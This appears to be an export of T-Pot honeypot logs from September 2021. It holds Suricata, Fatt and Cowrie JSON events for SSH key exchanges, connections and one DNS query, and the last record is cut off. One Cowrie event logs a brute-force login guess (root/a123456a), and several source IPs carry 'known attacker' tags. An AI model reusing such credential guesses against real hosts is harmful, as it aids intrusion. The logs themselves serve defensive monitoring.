36519	203.176.71.44	109.199.241.180	Suricata	2021-09-20 15:15:16.591775+03	2021-09-20 15:30:02.372867+03	{"_id": "TwYhA3wBvYTbRNuExGOS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:15:15.954903+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1306780228620823, "payload": "AAADzAYUBkDH4Lyn/7w+gGCi6vo+9QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34165, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:15:16.591775Z", "@timestamp": "2021-09-20T12:15:16.591Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......@......>.`...>....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36520	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:16.276553+03	2021-09-20 15:30:02.373868+03	{"_id": "UAYhA3wBvYTbRNuExWOR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "203.176.71.44", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34165, "timestamp": "2021-09-20T12:15:16.276553", "@timestamp": "2021-09-20T12:15:16.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36521	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:15:11.840436+03	2021-09-20 15:30:02.374871+03	{"_id": "NQYhA3wBvYTbRNuEs2Ph", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/a123456a] failed", "session": "0b8168e58ef0", "@version": "1", "password": "a123456a", "username": "root", "timestamp": "2021-09-20T12:15:11.840436Z", "@timestamp": "2021-09-20T12:15:11.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36541	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:15:32.264622+03	2021-09-20 15:30:02.405867+03	{"_id": "egYiA3wBvYTbRNuEA2MX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24978, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1186372969040302, "@version": "1", "in_iface": "enp5s0", "src_port": 34295, "dest_port": 53, "timestamp": "2021-09-20T12:15:32.264622Z", "@timestamp": "2021-09-20T12:15:32.264Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36523	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:14.142314+03	2021-09-20 15:30:02.378868+03	{"_id": "NwYhA3wBvYTbRNuEuWPX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33622, "timestamp": "2021-09-20T12:15:14.142314", "@timestamp": "2021-09-20T12:15:14.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36524	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:15:16.592444+03	2021-09-20 15:30:02.379868+03	{"_id": "SwYhA3wBvYTbRNuEw2OF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "56516c42c449", "@version": "1", "timestamp": "2021-09-20T12:15:16.592444Z", "@timestamp": "2021-09-20T12:15:16.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36525	203.176.71.44	109.199.241.180	Suricata	2021-09-20 15:15:16.591687+03	2021-09-20 15:30:02.381868+03	{"_id": "TgYhA3wBvYTbRNuExGOS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "flow_id": 1306780228620823, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34165, "dest_port": 22, "timestamp": "2021-09-20T12:15:16.591687Z", "@timestamp": "2021-09-20T12:15:16.591Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36526	203.176.71.44	109.199.241.180	Fatt	2021-09-20 15:15:16.591775+03	2021-09-20 15:30:02.382868+03	{"_id": "UQYhA3wBvYTbRNuExWOR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34165, "dest_port": 22, "timestamp": "2021-09-20T12:15:16.591775", "@timestamp": "2021-09-20T12:15:16.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36527	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:15:14.138316+03	2021-09-20 15:30:02.384868+03	{"_id": "QAYhA3wBvYTbRNuEu2Oz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:33622 (192.168.176.2:22) [session: abbe78cfcd7d]", "session": "abbe78cfcd7d", "@version": "1", "protocol": "ssh", "src_port": 33622, "dest_port": 22, "timestamp": "2021-09-20T12:15:14.138316Z", "@timestamp": "2021-09-20T12:15:14.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	UA
36528	91.200.124.7	109.199.241.180	Suricata	2021-09-20 15:15:14.178461+03	2021-09-20 15:30:02.385868+03	{"_id": "QgYhA3wBvYTbRNuEvGPA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:15:14.099771+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 705834846946747, "payload": "AAADzAYUSdQzAlpExGmVhVAIUyTy2QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33622, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:15:14.178461Z", "@timestamp": "2021-09-20T12:15:14.178Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......I.3.ZD.i..P.S$.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	UA
36529	91.200.124.7	109.199.241.180	Fatt	2021-09-20 15:15:14.178461+03	2021-09-20 15:30:02.387867+03	{"_id": "RAYhA3wBvYTbRNuEvWPA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33622, "dest_port": 22, "timestamp": "2021-09-20T12:15:14.178461", "@timestamp": "2021-09-20T12:15:14.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", 